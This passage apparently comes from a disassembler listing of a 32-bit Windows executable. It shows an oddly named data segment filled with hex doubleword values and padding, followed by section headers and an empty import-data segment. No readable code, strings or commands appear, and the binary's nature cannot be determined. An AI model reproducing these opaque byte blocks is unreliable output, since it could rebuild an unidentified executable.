37F03BBh, 3EB03E0h dd 3870465h, 4240487h, 38E03CCh, 3B003C5h, 4C60484h, 414033Eh dd 2CA0472h, 38804FBh, 3E1043Dh, 3E40475h, 3E7043Eh, 42D048Ch dd 3F104D5h, 3A90409h, 3FD0363h, 3E103ABh, 387038Fh, 4AE04C7h dd 3E403C1h, 372041Ah, 4620397h, 389040Ch, 38E03FFh, 484035Ch dd 374042Ah, 3770476h, 36F0404h, 3C7043Ch, 4B003C0h, 42F03DAh dd 3E703D2h, 47A042Bh, 34204EAh, 3FF0490h, 3C3034Bh, 4590383h dd 3AE03D3h, 46304A5h, 3A30351h, 35A0301h, 43402F8h, 43E0456h dd 4B00405h, 3A003E2h, 49204DDh, 3F60350h, 3E50425h, 46D0389h dd 422040Ch, 3C6031Eh, 47A02C9h, 3C30461h, 3F603DFh, 3C1041Dh dd 47F03A9h, 40703EFh, 45B0503h, 4F50339h, 3C10380h, 4770478h dd 4080421h, 47D0307h, 3E80485h, 4A703E0h, 3E20381h, 3F703FDh dd 4AF04D3h, 478040Ch, 3B70437h, 43F03CCh, 3C4041Fh, 47704EDh dd 38603DCh, 3C8042Dh, 48603E3h, 3E40402h, 41D0422h, 3E70498h dd 47703D0h, 43D0411h, 5040371h, 38C0432h, 42003E1h, 3DF03E1h dd 38B0491h, 4D9047Dh, 420049Bh, 46403D0h, 49703ACh, 4200400h dd 4000401h, 4000400h, 3E00400h, 4200400h, 0Dh dup(4000400h) dd 3E00400h, 6Dh dup(4000400h), 3FF0400h, 3E00400h, 40003E0h dd 6 dup(4000400h), 40003E0h, 76h dup(4000400h), 4270400h dd 2B90354h, 3F30508h, 3970421h, 4EF043Bh, 38604A3h, 49C0419h dd 51B03FFh, 46E044Ah, 37A0352h, 43C03E1h, 48F0392h, 34A04AAh dd 38803FEh, 3DC0425h, 41804D1h, 437045Dh, 27804DEh, 45D038Ch dd 3F6048Bh, 4860407h, 3B10458h, 3AB0458h, 35F038Eh, 3A503F8h dd 44A0356h, 4450401h, 3850444h, 42A036Bh, 42104ABh, 3C0044Dh dd 43A037Fh, 41E0499h, 4080429h, 4280499h, 3F603E3h, 36C03CBh dd 4540416h, 3B803AEh, 43102E0h, 3D50420h, 38004E8h, 3FC047Bh dd 3C70391h, 42D0516h, 49603F4h, 3CC0401h, 3E2048Ah, 3C6028Fh dd 33E0460h, 3720424h, 343042Ch, 43D046Eh, 3760409h, 45C03E0h dd 39C0371h, 3A904A7h, 34E03E2h, 3B80420h, 46B0428h, 36F03D5h dd 4200417h, 4CB0403h, 3690414h, 399030Ah dd 45D030Dh, 412034Bh, 3AA02F5h, 2EB0396h, 4480407h, 41A0474h dd 3BD0449h, 46A0422h, 4730350h, 4080401h, 44003C5h, 3150415h dd 3E503BFh, 3C003E2h, 35E03C8h, 47603E4h, 401047Ah, 3950332h dd 34504CDh, 4720438h, 4AA04B9h, 4650421h, 3FA0306h, 45F02DAh dd 3B9040Dh, 3A50382h, 3840343h, 49203C4h, 3CB0455h, 38C0354h dd 43E0404h, 3D503D6h, 4BF0409h, 3D50401h, 3FD034Bh, 48003B1h dd 36C04C4h, 3B403FFh, 376037Fh, 4190475h, 38803D9h, 3930343h dd 3B90390h, 3E20454h, 40A0419h, 3FE04A9h, 3F40432h, 36E0418h dd 44504A1h, 4ED0368h, 3D403E2h, 41C03D9h, 43203F5h, 45F03D7h dd 3A1049Fh, 310048Eh, 48F04B9h, 43604A5h, 3FB0404h, 3360366h dd 3010494h, 383038Ah, 36F0411h, 3E00400h, 2 dup(4000400h) dd 3FF0400h, 3 dup(4000400h), 40003E0h, 78h dup(4000400h) dd 2 dup(3C10400h), 7Eh dup(4000400h), 4300400h, 41D049Ch dd 3D403E2h, 3B50338h, 36F03A1h, 3B7041Eh, 4D804ADh, 42003B6h dd 40803B4h, 44304A6h, 41F039Bh, 4010460h, 3DF039Eh, 3D504D9h dd 4B202F2h, 38304C2h, 34803E4h, 4720380h, 4990391h, 4680418h dd 3A30470h, 3B80459h, 4420397h, 3F7047Bh, 3F203DDh, 38D047Dh dd 44E043Fh, 3E60445h, 3E5032Bh, 4DA03D8h, 4060407h, 5340478h dd 3C303B2h, 41B0421h, 3FE03FFh, 3D302FBh, 4EB03EDh, 4940418h dd 3FA03E4h, 4A403C3h, 3F704A4h, 48D04E6h, 4530471h, 4880420h dd 3890440h, 3E8039Fh, 3E903A4h, 3870366h, 37A03D1h, 33F0375h dd 3F103CCh, 44203F9h, 3E8038Dh, 4060421h, 473044Fh, 37E03A7h dd 42303F6h, 3E00366h, 33C03D3h, 40C0459h, 394042Eh, 42704E0h dd 3D603E0h, 38F0305h, 48C038Eh, 4A403E6h, 410045Eh, 44D0381h dd 3A204A2h, 4210404h, 47F03F7h, 4A1036Ah, 321049Ah, 34D0424h dd 43D0499h, 48703E3h, 4D502F7h, 4C60484h, 3E003CFh, 4B10307h dd 4060524h, 3F60393h, 47C0432h, 45C04CFh, 43E041Bh, 400044Fh dd 44A03BFh, 395045Ah, 3800351h, 3F2035Dh, 3BF03DCh, 3E103FEh dd 4BA0496h, 404045Dh, 4C803C7h, 43F0365h, 4800345h, 3F70481h dd 3FF03F1h, 3E00498h, 3A60414h, 3F4042Ah, 3C30421h, 4AD0462h dd 3730347h, 4B50431h, 37D031Eh, 2EE0481h, 41B0471h, 5230349h dd 38F03E1h, 4C10434h, 48203FEh, 2D1030Fh, 50B03E0h, 47F045Fh dd 3E604A6h, 404033Dh, 30E04A4h, 3F20402h, 43B03D8h, 45403C3h dd 46D03CDh, 3DC043Dh, 3C503BBh, 42702EBh, 404046Fh, 3B50447h dd 3FF0400h, 42003FFh, 4000420h, 40003E0h, 3 dup(4000400h) dd 3E00400h, 78h dup(4000400h), 43F0400h, 3E00400h, 4000400h dd 3E00400h, 40003E0h, 3 dup(4000400h), 4200400h, 77h dup(4000400h) dd 3F50400h, 4AA0356h, 3E60441h, 3980476h, 46E0477h, 3FE049Ah dd 3990332h, 3BA041Bh, 44B03E2h, 40404C2h, 35D04DCh, 52F03D0h dd 407045Ah, 426039Bh, 5270435h, 49C0310h, 47803A6h, 494049Ch dd 48603DAh, 3E603BBh, 48403A6h, 3E80335h, 43F0475h, 3BC047Bh dd 3FF041Ah, 46704D9h, 4030367h, 4410487h, 4FD04E6h, 40B0386h dd 4AB0418h, 43604AFh, 4070469h, 3CA03C5h, 3B30399h, 4A1033Eh dd 41003D0h, 44F03E0h, 3F00364h, 4B103C9h, 30103E4h, 47903E2h dd 4130418h, 37D03A4h, 49E048Eh, 415037Ah, 32D04ABh, 44703B4h dd 4780445h, 4670329h, 4150436h, 3B204A8h, 40C0315h, 3D20459h dd 3E70410h, 43703DBh, 34D03B2h, 27A039Fh, 4BC03C6h, 440046Eh dd 43003C5h, 31A0418h, 3DE03F1h, 4B00438h, 3D003B8h, 2D70417h dd 343044Dh, 46E0454h, 384040Ah, 4060349h, 38F0360h, 3FC049Eh dd 34F0421h, 44C0429h, 37B039Bh, 41C0467h, 399046Ah, 413045Dh dd 41A032Eh, 40B04C4h, 3C4043Bh, 34F038Dh, 45C03BCh, 36D0375h dd 3BA041Ah, 4A1045Ah, 41C0404h, 3FF0478h, 4030442h, 41403E0h dd 3850522h, 4090400h, 3EE03C3h, 39603B2h, 3A003FFh, 40204EFh dd 42C02C9h, 30003BEh, 47203E1h, 41402FDh, 3E00452h, 3AF0311h dd 3C703E7h, 3EE03C0h, 40B042Bh, 41E0330h, 48603FAh, 393048Eh dd 389040Ah, 4AC035Dh, 2FD03DBh, 43A03FAh, 41F04F5h, 3830388h dd 46303B3h, 4750488h, 3DA0392h, 3670458h, 3C40394h, 48303A1h dd 4A80495h, 36303A3h, 49E0338h, 39C0489h, 3300493h, 4CD03C1h dd 3C903CCh, 44B0383h, 3C50400h, 40003E0h, 0Dh dup(4000400h) dd 3E00400h, 70h dup(4000400h), 38E0400h, 45C0400h, 4000400h dd 3E00400h, 3 dup(4000400h), 3E00400h, 78h dup(4000400h) dd 1D57h dup(0) __u_____ ends ; Section 3. (virtual address 00042000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00042000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 442000h dd 80h dup(0) align 1000h _idata2 ends end start